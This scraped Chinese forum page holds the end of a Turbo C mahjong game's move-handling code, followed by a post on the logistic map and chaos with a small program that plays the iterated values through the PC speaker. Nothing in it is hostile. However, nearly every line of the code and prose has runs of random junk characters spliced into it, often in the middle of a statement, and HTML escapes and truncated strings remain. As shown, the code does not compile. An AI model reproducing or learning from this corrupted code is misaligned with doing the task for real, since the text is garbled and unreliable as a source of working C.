x1=160;
$ J* _. ~+ p2 m. Wy1=165;& t. z) _1 {9 l3 ?+ I9 B( r( g
fillRectangle(x1,y1,x1+20,y1+4,0);
' s  ^7 V1 I  q% P" z, P7 k}
6 ?. [. e: V! z3 Y& |3 z2 j+ _if(every==8), n& \6 C) m; y% L: K
{& R2 L9 [; c4 e  D* M8 g
x1=180;
/ d# r' E2 v& N* m. I# sy1=165;
" C/ G* _) A; `" F6 |0 pfillRectangle(x1,y1,x1+20,y1+4,0);2 c# T' O/ a) z: _
}' r' `- E7 s5 `4 T% W# B
if(every==9)5 X% V6 P6 B$ D, H$ x
{9 k% Z2 t, Z0 c6 H+ y% K
x1=200;% R, R0 Y& z. U! q# `
y1=165;
* I1 y, ?0 x4 X, U1 UfillRectangle(x1,y1,x1+20,y1+4,0);+ i: g, w- ]7 K) Q& i" T4 b
}
- h5 h0 P0 T9 [4 A8 Eif(every==10)
5 @' w, N  a: l. b8 c{: }3 o; ^; h9 I
x1=220;; `# z0 h7 @0 `& e* A
y1=165;! J6 q* c" ^) F1 t
fillRectangle(x1,y1,x1+20,y1+4,0);2 S; q" I, j) q) ^  P
}6 E$ u& T2 c; _! e$ N6 I
if(every==11)7 r9 D) M1 z$ `1 f" R. k
{
  k3 f9 p) }1 |& _x1=240;
' F; q3 O6 o% Y3 m& h) Yy1=165;
1 g6 ~  x2 I2 CfillRectangle(x1,y1,x1+20,y1+4,0);
- Q7 z; F6 r* b/ u& i8 k+ D}
: v% B, e! ~* a4 X5 m* xif(every==12)
) S9 S; o4 ^7 t& p0 A; D{
! B$ X, f7 Z8 V# X6 I7 G# m( Fx1=260;; q. y$ F  v' W; ^7 d- e; s- K! {
y1=165;
$ ?6 V( b" n  n+ j; DfillRectangle(x1,y1,x1+20,y1+4,0);$ q$ I8 F( M" L$ Q# E
}
; h9 F. X1 k( Z# }' x5 w& _2 n. i
: \, ~& c# e, h7 a' O# ]% Kzz=0;
/ S' Q5 N! a& H, Y4 \, s3 \* Revery++;7 p. x/ c4 k9 S9 O; ]9 ~. w
z=z+20;$ _, y( \- B- Z4 q
}8 s/ C: w* B/ T* _
showbmp(every);
/ P1 w2 B+ v' O" ]key=keyy;; G/ T# f9 ]# X3 A: A, P: i7 F, {' H
if(keyy==ENTER)
$ l! {4 m: L  H1 V" T+ j{
3 I+ V5 \+ K% P) y% C1 F+ Urgzn(every); /*********************/
0 G7 K8 r, b) F' Xif(sing==1) /*如果可以乓,做相应的处理*/. i! M' Q1 {1 y7 _  g" {) R
{ 6 e# ?. F( T  O$ I
kkk=0;- Z2 d- S% a8 y( R
kkkk=0;
  H8 d9 q0 o5 R: j7 y, e4 xwhile(kkk&lt;=computer.m)5 B/ z3 F- Q! z7 A; }
{
: T3 O) p: ~4 }if(computer.pp[kkk].p!=1)) A5 P: @- j6 |% [0 N( u) A
{+ y7 {8 G: K+ @8 V4 D
comp.pp[kkkk].k=computer.pp[kkk].k;( U: s* N% O$ v5 b+ R- C0 {/ G
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
9 B7 Q  F) n6 C" Tcomp.pp[kkkk].number=computer.pp[kkk].number;
  I  J7 _' l+ S; |  I- rkkkk++;% w7 n5 j  k( p
}
1 J$ J1 {& I$ aelse) i4 n6 D* {$ ~, J
{8 Z0 P+ E0 H) f4 J* f
m[computer.pp[kkk].number].data1=1;
6 E3 I. Q7 s# Q( {4 i' h- }3 a* adwei=computer.pp[kkk].number;& m  p3 f1 y9 Q- x+ z9 s& N2 W
computer.pp[kkk].p=0;
7 I7 j: J' m3 R+ Z+ z8 K}
0 }: Q9 C  j. W2 _( u2 g/ K! V8 x2 q" zkkk++;  G2 Q$ @: r) q; Y" [" B
}: C6 P" v/ J, x: G3 G9 ^
ll=0;
2 `8 ]$ s; _' ]3 K
8 N( }' p  Q+ W% o0 Q/ q( `while(ll&lt;3)& Y& i  \& Y# E" M5 B! {
{ zl=zl+20;, S, v: Z3 _8 i% h8 G
bmpp(dwei); /*显示乓的牌*/  ]4 H) t2 Z4 W. m! Y6 z
ll++;
: T+ X* ~1 a! h# f- \+ U}
7 i) \* q' ]9 m
/ y, {3 T% n  [: d8 K5 C3 Y; Tzl=zl+9600-60;
" ?! }" N$ k+ P5 i' J" T% Bkkk=0;- d6 F) _* V" z9 c, H
computer.m=computer.m-2;
# g5 {7 d- y; V" r1 c/ b5 c- x, Iwhile(kkk&lt;=computer.m)4 p  Y8 p5 v1 _9 h3 ]# M( t4 Z4 E
{
/ A9 r% U$ B% V3 d1 O3 Xcomputer.pp[kkk].k=comp.pp[kkk].k;: P0 ]* h1 Z/ p! o3 w
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;2 t. m& T$ D( \
computer.pp[kkk].number=comp.pp[kkk].number;
( C3 |+ F* R7 W2 okkk++;; c/ r8 {0 v/ a" y
}
* F! M' h- o* n  t6 U! vll=0;
& x) ?# H! K+ K& Ltemp=random(computer.m); /*出牌等待完善*/
  Y* Z: X7 i( Hzyy=zyy+9280+20;' j4 `- ^/ a! R; O- N6 v
showcbmp(temp);* d# w1 q3 c3 v6 D7 n! ~; ^% t3 F
zyy=zyy-9280;* t  w! R* M  z# f: K# X" C
/*****/7 C0 B) x$ j( U0 h4 ^
rgznme(temp);
1 ~2 @+ O" m9 R' F, |7 {' Mpanduan();3 k, P- x& M# @7 z  N
if(me.m==0), _# b7 h' V' j8 K5 _5 @  m
if(second==1 &amp;&amp; threes==0)
& b5 y. h1 i( v' |: G4 Lprintf("you win!");$ p. t! a1 P1 f. Q5 f
if(me.m==3)
; H5 P5 z7 ], `" R# E9 B$ L0 E1 jif(second==1 &amp;&amp; threes==1)
" c( ^$ L# b, `- b, F7 cprintf("you win!");+ H5 I" p+ d8 h0 f# u+ f
if(me.m==6)
8 J! y9 \/ G! q9 `6 vif(second==1 &amp;&amp; threes==2)) X: G6 g- i1 e: q, L
printf("you win!");
" g7 V5 |4 F: p' o9 rif(me.m==9)& L) g0 ^2 i; V9 h" e6 `9 |5 m: G
if(second==1 &amp;&amp; threes==3)9 Q) W# m$ f! }7 ]$ C) E
printf("you win!");6 t, ?3 t  G) ?3 \: N
if(me.m==12)% Z7 g- K4 Q. h+ L1 |
if(second==1 &amp;&amp; threes==4)
( o4 m) X  `% q2 b) b7 r) r& E5 Zprintf("you win!");
3 g+ _5 [) G) P6 `+ I1 b3 H9 O6 x8 O1 Q# s5 n- ?, Y) C1 l& s9 B* a
kkk=0;: ~( E( D. i# M$ g: }
kkkk=0;
# S0 n! `* C% Y$ j- H$ nwhile(kkk&lt;=computer.m)
2 V& x; n: F; d% M3 R0 g{. ]) j7 E; j7 n3 H1 K
if(kkk!=temp)
2 i' t- l0 P/ Y+ x" m{
. F7 r8 U5 M3 \- rcomp.pp[kkkk].k=computer.pp[kkk].k;
+ W) |, d; L" X/ w# Ocomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;0 z0 h& i( ?5 i$ f$ t8 W
comp.pp[kkkk].number=computer.pp[kkk].number;
1 j$ z5 _3 N1 {/ Jkkkk++;
4 f/ B" O5 z, s! G}, b6 c! X0 d0 t+ O5 I6 r
else
% }5 w1 G5 B, Dm[computer.pp[kkk].number].data1=1;. O+ l( i) i* D0 [6 ~  x
kkk++;5 b9 a: Q- m' d& ]+ e9 `
}0 B3 J1 \& a8 D9 a; C* Q
kkk=0;  }+ e% ^: K! n& j
computer.m=computer.m-1;$ b% e! T& L. {* \, [
while(kkk&lt;=computer.m) 5 Q* W; i. l. O& @: K1 o. Y
{
- v& B# F/ p9 {" kcomputer.pp[kkk].k=comp.pp[kkk].k;) l# l$ K) p% s3 s3 A8 i
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;6 G# {# A0 {6 y$ @
computer.pp[kkk].number=comp.pp[kkk].number;
* j2 ~; q6 ?. T/ Akkk++;
; W" Z7 l* U/ i/ {( a" N1 A' \" ?}4 X3 W8 j1 H4 s
fillRectangle(0,0,320,30,0);
' H- L* m: A' y1 i0 w: n) bn=computer.m;. w- t% Y# P! h4 P. h- L; c
ll=0;
/ l' |$ J& H/ t( k% F5 ^9 ~9 m8 Zzy=0;
  c9 o+ P" C8 K7 Mwhile(ll&lt;=n)5 T6 F% W* H; A( ]1 h3 X
{# _1 S* N+ C3 ^6 p
zy=zy+20;! ^4 ?% W- {# X) N
showybmp(ll);
  X1 M  W: i, N1 l& Bll++;
* N4 m9 Y" s, g}
& t5 N1 q! a5 I: a2 bll=0;! A, C! G2 d6 B  B
getch();
& D! V. }8 y& c7 A, f0 n- J- ~sing=0;2 @' \0 S) t, J+ z- Y4 o, X  M7 w5 u
sing1=1;4 _, J" ?4 R2 j0 E* p* D& ^
}
3 Y5 v" w* X' s3 l3 N1 f7 ~& n$ v+ ^) S: d
if(sing==2) /*如果可以杠的做相应处理*/
! f+ a3 T5 M4 N  V{. {* P  ~4 F2 H
kkk=0;; |/ o% @" [& u4 o8 ?
kkkk=0;
6 h5 ^8 m' `9 j, ~. C  hwhile(kkk&lt;=computer.m)
3 Q- `( m; q; F0 H; Y{" N1 p1 h; T9 S* r
if(computer.pp[kkk].g!=1)/ A/ o8 a/ M" B9 p. |
{4 u! p& W6 d% n1 f
comp.pp[kkkk].k=computer.pp[kkk].k;
3 M; `2 A" t" B; {% z/ lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
& C3 q; \9 h& w7 @6 Zcomp.pp[kkkk].number=computer.pp[kkk].number;
3 q7 D1 ?2 H: g. V" @kkkk++;
: a& C6 G) a' t3 F+ O- ^}
% l) g( h. X) W" b. h* U2 Nelse- A& Y3 ^8 x8 a! i: o2 Z! `: h
{
) f7 V9 i( p- R4 U4 ^+ I4 y! N, ^) rm[computer.pp[kkk].number].data1=1;
( S3 T) ?6 b$ `5 [6 w8 Sdweig=computer.pp[kkk].number;
" o! J4 R' b' t& z$ X5 U. v& i( jcomputer.pp[kkk].g=0;
0 f5 p# O0 S( i% t* Q0 J2 C7 Z}7 t6 N  ?8 }. L' \
kkk++;& [4 `2 X% [1 w" k8 c
}
: L& G, x% w4 P0 x% s* Hll=0;6 E7 p7 y1 T' w3 X/ I6 R
2 x) }) T" i* U% K
while(ll&lt;=3)# s3 j( g; n1 j
{ zl=zl+20;. c" Z7 N) O8 E( F, @
bmpp(dweig); /*显示杠的牌*/
6 b/ Z" `# M+ pll++;
/ E) ~- t/ f# j}
/ e$ H1 |# u0 x" G; g& yzl=zl+9600-60;$ N3 Q! n6 y" F5 W1 [
kkk=0;3 w$ ~( o* g. V8 C2 q/ e- A
computer.m=computer.m-3;* Z  Y) k( q/ T3 [, I( J7 t
while(kkk&lt;=computer.m)
5 L+ s( A. Q+ V3 i+ I3 W{
8 d& H  t6 \1 J- h0 Jcomputer.pp[kkk].k=comp.pp[kkk].k;) [% f7 t: k# H" ]$ Q
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
# V6 \& w1 C9 ?; Y! Y* [computer.pp[kkk].number=comp.pp[kkk].number;
8 Q: i! X! s! y9 v  Ekkk++;! k& J9 \* T& R; T
}7 k7 {& O& v9 U0 Q
kk=0;. y7 r) G8 u% s& l% J2 Y9 S
computer.m++; /*加一个牌的容量*/
! Z/ `8 k3 z+ H- p2 J; fwhile(kk!=1)) @# k) y% l* p" R& b- r
{
! t5 T$ L8 y# O3 Ptemp=random(136); /*出牌*/
( P8 i; X9 k7 P9 C0 L! kif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)! U1 }: Q; j) p
{6 h# T3 ^; j2 @2 c. @/ y; J8 [6 b
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
& G" F$ D1 ]0 i8 I  S# ocomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
' o5 x# T$ x, |9 |7 Gcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/3 X3 ~$ c; ?2 c; B& B+ ~
m[temp].data2=2; /*判断牌是谁的,2为电脑*/7 `' i4 e* l/ W( |# n8 O% d: V
kk=1;
) n' l" i! h" m}+ ~+ w2 s. N, i+ d( c
}7 j/ A6 B1 c: E" j/ i- l
comlipai();4 _- Z8 o! U, g
temp=random(computer.m); /*出牌,等待完善*/3 }9 \9 O' y/ t0 V$ f- x" O
zyy=zyy+9280+20;2 K9 s8 _3 P5 Z! K2 q1 k9 }
showcbmp(temp);5 L1 S5 B( m# E9 s$ o2 n# Z% i! G3 }+ E& _
zyy=zyy-9280;
0 g/ @* ~3 S' ]! Z8 Q$ V; b5 x1 x6 ]) a/*****/0 l" o$ G3 I( r" s# E+ A& j
rgznme(temp);. c* U2 g6 w) W% q# b
panduan();
2 s7 ]! L) D' c1 |' kif(me.m==0)
" `- l3 f$ v  d. bif(second==1 &amp;&amp; threes==0)$ J3 F% y1 F# W' U# c/ B
printf("you win!");
% [- F/ e# Y% b& Wif(me.m==3)
, z5 R! B, H/ P$ E3 b: X( lif(second==1 &amp;&amp; threes==1)
& C+ f; \6 J" F$ X& nprintf("you win!");! A5 N/ B9 ^" H
if(me.m==6)* C/ v- u8 \1 ?/ w6 [
if(second==1 &amp;&amp; threes==2)
8 [# X6 P# l1 E/ m$ k; m9 Gprintf("you win!");+ T/ M9 m6 i; m9 Z
if(me.m==9)
* g/ H7 L5 q3 z4 t) {* _# k3 iif(second==1 &amp;&amp; threes==3)% _$ |# u' L. s; |% ?/ U8 I. F  N
printf("you win!");$ S3 R( k, X$ y9 i3 W! f
if(me.m==12)
* b. r5 ~2 s* \' ^$ z* L1 B2 lif(second==1 &amp;&amp; threes==4)
7 ^* g/ M' O+ H# Q2 rprintf("you win!");/ n; |# |  J& R* X9 j

5 A& z' i, F# K, _0 g5 ^$ rkkk=0;
. }1 `2 D) J  E" S7 C/ M. lkkkk=0;" C0 h% O! k* t6 w* ?6 M- N3 G
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/0 A  S1 n4 l8 e' I) d! g& U& Z
{+ R- J' H0 M. k# m0 A+ x' ]
if(kkk!=temp)
8 }! m/ N+ z" V. f. f{) a7 X! d$ ~) l3 I5 u
comp.pp[kkkk].k=computer.pp[kkk].k;1 L, k) L' U! T) N6 Y7 K6 ~% C! ?
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;( Y% u8 d1 v( w( X" q9 L5 H% q
comp.pp[kkkk].number=computer.pp[kkk].number;
6 m' Y) w0 N# C$ |" W) ^kkkk++;% H, y3 y5 d$ }1 w
}
" p) i! c8 R4 \  M' \( ^, Kelse# I0 Q& R" B+ B9 `( ~6 ]* u3 m
m[computer.pp[kkk].number].data1=1;
, N$ L, @* H0 [3 W* qkkk++;2 k7 {# g2 W' g2 \5 U
}0 M1 Z' ^9 A1 B% Z9 h. g
kkk=0;& w1 r) l6 b$ i6 _, L, R
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/' g2 I3 k4 O# S/ z; X
while(kkk&lt;=computer.m)
) U* M6 M! Y6 x/ C# O) F{
) B% [/ D$ t) N) |9 B$ E( z$ s6 zcomputer.pp[kkk].k=comp.pp[kkk].k;
( d1 ?" }8 {' ]* x! `+ Ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ T" N7 j& A, R: b
computer.pp[kkk].number=comp.pp[kkk].number;3 X6 E8 r5 c; ~& u
kkk++;
0 v0 _, A/ B6 c- @/ A8 X}( ]$ U" N% e. i# j' p
fillRectangle(0,0,320,30,0);) w- g4 n8 v& q/ b- F
ll=0;/ G* L7 E, q  D3 I1 K* v
zy=0;9 c9 `, ]# L% Q3 w
while(ll&lt;=computer.m): ~' f$ m9 P  }; G+ U7 A
{+ c" G3 M7 e- ~6 \7 D
zy=zy+20;6 a7 X1 i  o1 N& ~8 p( z, [0 s
showybmp(ll);! R3 T% v& O$ `- l6 m! @
ll++;% l- [) f5 ?9 u2 F! `2 M
}
5 y2 Q4 x: B* o" J/ {$ xsing=0;
% [( V  w! ~- T$ tsing1=1;
0 N+ ?4 a$ J, z  |; s% R2 W' b}* I% l$ ?, D0 u: S9 A
if(sing==7) /*如果可以吃的,做相应处理*/  _  [1 F3 _$ u/ v- s# ?$ Q; }( l
{ nn=0;
( ^) s. G- s/ L# `- {9 y  `. Hkkk=0;
; O3 {1 j) W3 M1 u3 B6 Bkkkk=0;
* X1 b1 r8 g/ ]+ o% Y. ]& gwhile(kkk&lt;=computer.m)
# U$ j- K( D) P/ d! Y  }: `{9 R/ B; b1 x$ E! z8 b( o
if(computer.pp[kkk].c!=1)# }7 v5 l& x  v$ n9 M: P
{
. F# z$ y& o4 Y" G( Bcomp.pp[kkkk].k=computer.pp[kkk].k;9 T9 j/ c2 S/ Y4 G& ?9 V$ U$ i
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;  Y" r. {. {* q
comp.pp[kkkk].number=computer.pp[kkk].number;
& _6 S; _2 g1 V: D& N. G  k+ r; ekkkk++;- U6 _2 z* E$ [) J! q
}
- G  i4 z: E. X  z+ }2 @else
" p/ \) \1 j" I3 E7 }3 a6 u{
7 }) o# J4 [6 c2 W3 ~( T+ Q" om[computer.pp[kkk].number].data1=1;+ {$ J! K" G9 g* y& R7 U. z7 u) V6 t
dw[nn++]=computer.pp[kkk].number;
7 J' i+ N' H8 I3 t- ?' z2 I% k5 ycomputer.pp[kkk].c=0;
- G+ }  F& i' h4 D4 _+ @6 i# s}
! b3 U7 O7 g. N; d1 o6 lkkk++;: G! P* [- F7 K- i8 E: Z# h* x7 u
}! h% }* T& w* S" V& V! c( V2 p' g
; P2 y3 q$ G8 N
if(me.pp[every].number&lt;dw[0])
- T1 n! u3 [8 D( z6 P3 E{! U& g2 b2 X0 u" |# A$ l$ g6 K. Y
dw[2]=dw[1];
( }( |: N7 V4 @/ E' ^" }5 X. F- Edw[1]=dw[0];8 \) V6 E( `. P& c6 d
dw[0]=me.pp[every].number;
& e/ k$ S, L9 y' O: w}! L) G6 i9 r* E) E0 ^
if(me.pp[every].number&gt;dw[1])5 \2 Q) x( s, p% `
{$ Q" Z) D2 @+ t' B' o
dw[2]=me.pp[every].number;
3 n9 S$ C/ |5 K' w% g8 G% Q}
; x5 m6 }; T" lif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
0 b- A, B3 k) d, ~{
* R. w, {* u. x  P$ Xdw[2]=dw[1];5 p  X1 C6 U$ e# o! O% A/ ]) ]
dw[1]=me.pp[every].number;# D6 [  I3 j& Z: f8 {5 R1 U
}
; _+ A, s- E/ q' r! E3 q" vnn=0;5 G" i3 h5 k7 x- H
while(nn&lt;3)
& h' [  o* ?; v; `{ zl=zl+20;* ^+ [& j; X% R8 u) ]- N' E
bmpp(dw[nn]); /*显示吃的牌*/
5 S1 ?) {- m& p; {nn++;& T; E$ S* j! i% o! L  Z7 w! w' ^
}* V& \. z& i% _3 \" F6 c+ d
zl=zl+9600-60;  p) P( D7 [2 b! H  A
kkk=0;1 _" M9 x, F5 o' u" ~1 A
computer.m=computer.m-2;
  b3 x6 C  Q2 a1 k) qwhile(kkk&lt;=computer.m)
0 B& p- y  j5 V/ l, T. U{2 I1 X( g8 J1 c, j6 h8 p6 H+ e
computer.pp[kkk].k=comp.pp[kkk].k;' j4 z& k5 q& r3 r2 S
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. Y0 Q* r) @$ G9 i# Z
computer.pp[kkk].number=comp.pp[kkk].number;4 A; J6 n9 |7 \) H+ _
kkk++;6 o- ?$ k# g" b8 V" t
}2 n0 [5 B8 V& |% R9 B
ll=0;
  w9 {+ X+ T( r) o' Z; Atemp=random(computer.m); /*出牌等待完善*/" Y0 {3 R6 ^9 f  b; F$ P
zyy=zyy+9280+20;
+ [2 I" P& c9 a+ k) r# qshowcbmp(temp);
. R2 l, n, m6 s/ kzyy=zyy-9280;
. B$ q; V* s) B% p- M/*****/) Z# y/ O2 d6 J2 y0 R* g  s' J
rgznme(temp);
+ \2 F+ U8 z/ @& p) Xpanduan();7 h) c# I2 x$ _( r$ o, S' s
if(me.m==0)
* Q: b; y6 F( t7 p  [* D( t$ Nif(second==1 &amp;&amp; threes==0)+ b3 s' S; v7 s. u! L" E
printf("you win!");
! _- Z+ l7 J& C0 G8 g' `if(me.m==3)4 z- h0 V4 w2 @" C5 a3 k/ Z
if(second==1 &amp;&amp; threes==1)/ B4 ^2 l$ ?1 M9 \; `% ?1 U, }, H
printf("you win!");
1 G1 q  ~: ?; o' v& Tif(me.m==6)
# y: x4 `5 m4 ~! \, p1 }if(second==1 &amp;&amp; threes==2)
% ^% h  W  a; R5 c0 R2 m5 D' O, Sprintf("you win!");' u1 c, P% \% a* v4 {" g- T
if(me.m==9)+ O( w$ H- S/ j1 y5 ?" Z
if(second==1 &amp;&amp; threes==3)! s8 O2 N( }+ c# l. V, w6 m
printf("you win!");
2 L0 V: _% Y* U# y6 `- r, {if(me.m==12)
! R  C! K# C" M9 _* `8 H/ w, M8 s. aif(second==1 &amp;&amp; threes==4)( [) c  n% q! s
printf("you win!");1 q1 _" ]" x! d" _9 F
8 k3 \7 N9 j6 a" P' Q( ~
kkk=0;
6 ~- ], ?2 m9 ^& xkkkk=0;
' U. m$ B% a& E8 p  ywhile(kkk&lt;=computer.m)
$ ]! w" k! U; B$ r, e& s{- f- g: `% h9 z* {' s2 Z3 i0 J$ z# r
if(kkk!=temp)
2 G6 j" F& N: W" m2 s$ b{! Z) m7 g: q2 Y5 W  W1 B
comp.pp[kkkk].k=computer.pp[kkk].k;
; \/ o. k& R, q7 ]3 X0 q- C( jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* I* a, F& r  I
comp.pp[kkkk].number=computer.pp[kkk].number;
9 \! f3 a) \$ Q  }# ykkkk++;; R; `) J9 m3 ~: I  ^+ g; ^, O- u
}5 d# f/ n9 G8 g, y4 i: U% l
else' K! f: e- B- w* ^5 M
m[computer.pp[kkk].number].data1=1;
' o2 l7 c4 v. ~kkk++;' O) M0 S4 N% R0 K* A7 ]# ~) M- t
}. l% p7 V7 v2 o* z/ }1 @2 Q
kkk=0;2 x! N" X1 H/ q( L5 e: ~
computer.m=computer.m-1;% f% p) U' N, V. e- F! \: ]% x4 f
while(kkk&lt;=computer.m)
  |2 C0 r. L2 ?- m' B{2 R  `% n8 W; p# v4 O) w: A
computer.pp[kkk].k=comp.pp[kkk].k;
% o6 ?$ w. y  A9 ~) Jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
  i# a1 u- @: j/ ]; {- w( M; \" Rcomputer.pp[kkk].number=comp.pp[kkk].number;9 k; @. Z* g, Z: i' U' t
kkk++;
. l5 Y, W* x7 w. k1 J5 k}* B, L4 a5 S- m6 k9 S
fillRectangle(0,0,320,30,0);( U' a1 c* G- q- h- {1 [5 x6 d
n=computer.m;
+ ]# O# S- h, t% S$ ]. u8 D) h8 Cll=0;
1 P  c) w6 t  H) i2 i" K9 ^zy=0;- ]3 A8 x7 f' i8 O
while(ll&lt;=n)7 z/ g1 M$ Z/ B. u8 G1 F" ^+ B. y4 p/ H
{3 R) c% K' q0 Y: Y
zy=zy+20;
# k& F4 ~9 z4 `- D4 F0 A3 Yshowybmp(ll);
" F3 O. c$ ]' Bll++;
" R5 S4 X8 H6 `$ j( \7 a2 E}
/ s# J6 L; C5 l, s) v. F
5 R( _8 B2 Y1 g: Bgetch();
' Y7 n2 a. r5 c) a( N% g. ^sing=0;0 n" h+ g6 w/ p+ Z
sing1=1;
, X. c/ Z: j$ j2 E& \. d, F}
! @8 G! h2 u+ ~3 I/ Rif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
" [5 l4 R# e4 {7 r6 K8 Q{
: o! y0 K* k8 k" U8 k9 Y$ vkk=0;
  Y+ T$ @, ~3 A& H8 ]h=me.pp[every].number;+ I/ }% z0 O2 M
m[h].data1=1; /*此牌已经无用*/
3 b" r' g( {# |. _; a3 Hif(sing1!=1)
5 c3 G) g+ |2 W1 A{
* Q* g2 A! K. Q8 o% g! ~  Izyy=zyy+9280+20;! c: C0 |8 t8 x! a+ }, b
showbmpd(every);8 [. C4 }7 d9 `/ N! A" ~& o$ I
zyy=zyy-9280;% {5 `5 T: `$ n
}% `; V8 @8 J9 \4 b- w/ e9 C3 d
while(kk!=1)" f7 Q4 r- ]  k  T8 ?* A
{' A3 A4 w' Q* h9 `
temp=random(136);
  \/ c; I( q+ x5 ?if(m[temp].data2==0 &amp;&amp; m[temp].data1==0); D4 p4 t* G4 V: W
{# t  u) n5 |6 L) [
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/4 g+ C  ~8 C3 L7 J1 |+ v. X4 v
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
$ j0 q) e& O) _- [! `4 F2 A& rme.pp[every].number=temp; /*第几张,用来排序*/
, I! R" W! P1 k" \& R0 H, @6 U8 p% E, ym[temp].data2=1; /*判断牌是谁的*/
# {$ g5 h% W! I4 L, Xkk=1;! S+ j3 c4 {# y
}
9 _( G' {5 s. P8 zif(kk==0) /*判断如果又选择了,就从新再选*/
) n: O* @& v6 N" t' h$ R+ ^kk=0;) T% {: J9 X  G$ v7 V  b7 ~$ f) a
}
' r/ m9 w9 q- T9 H! O/ {/ ?}8 w6 F# F1 }& }) K* c$ I
sing=0;
0 z  g, Z9 ^5 g" H# J- |9 G' Z; q& c! Psing1=0;( q3 E; ~  ^2 Q0 t
melipai();
, I. e# Y. a2 E' ~  I4 cn=13;
% p  z- t8 _$ x9 ^z1=54400;+ E* b$ r/ b, y
l=0;
+ n1 m( @! h0 Q/ D1 ]. c. n, X5 pg=z;( x) a+ c; p: a
while(l&lt;n)
' [1 |/ [1 Z' E) ^{ z=0;5 V  [9 H& h" J' I/ h& b3 j2 q
z1=z1+20;
# Y5 u  n* B$ l0 Bshowbmp(l);
: o3 ~5 C4 Z. T- N8 gl++;
" ?! A2 q. j2 h}
. `! W/ H1 n% i4 Y1 w7 e; Cz1=0;4 p" M7 |+ l- n
z=g;
- q+ T- n% m8 j1 G# @5 D}) k; P8 a$ o& \! q5 t( m3 |( {
keyy=0;7 O; i. h+ D. P
}
9 y1 i" g2 T3 G; q; H. a8 i- h& e2 T  ?& K8 N9 ?+ r/ T' e
getch();5 ~! E, r3 a+ d: ~  Z; a# m1 k
OUTVGA;
$ A3 t0 ~. |6 z}
' a3 M% K$ T/ X1 Z. S8 f  P% Z</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n]): G" l- x8 Z! f6 A  O& c
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:+ i* l. w' `" x
4 p+ s! T" J4 ^$ e$ ^
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
. d% D4 A) b5 V0 d6 ]) N( {( J  <FONT color=#009900>#include <DOS.H>& f) P3 t' S- O2 w2 U6 f5 L# M) u
  #include <STDIO.H>
3 L6 V. ~+ d2 ^/ [0 V" H  main(){
  [; q) w6 T+ L; j. U! ^# J  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
5 ^' k) c! u7 H  s# ^  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/: f0 Q* D# a! V
  /*i,j用于循环记数*/! b' B" v; |! ^4 V
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/4 G1 w& }: E, s# }5 U- B; w& |6 Z
  fDis=fMax-fMin;
6 e# x' R- y% c2 @  for(j=1;;j++){# x8 l) L  v7 p( k
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/2 {  E+ S! J2 ~5 m! a: M7 o' Q
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/' S0 e4 Y. |  }/ G2 J2 K5 D# D
  scanf("%f",&k);
, p, v1 H* Y5 b0 L  if (k==0) break;
1 C# D  F, o* f7 k" ^6 R; G  for(i=1;i&lt;100;i++) /*去除开始的100个点*/! R' G' Q; M- H$ y( P' ?
  x=k*x*(1-x);6 m# S9 S2 v3 M0 d; a0 y, _& s* s9 I' j
  for (i=1;i&lt;100;i++){! V1 p1 m0 }. G8 V1 z. O8 o6 K
  x=k*x*(1-x); /*计算x的值*/
& b7 {4 K- N4 B0 F$ S  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/% }% w3 y' ~+ F' `8 f" X
  delay(1000); }
/ J! m9 T# G8 G: l6 ~  nosound(); }}. i) Z( s- T2 u
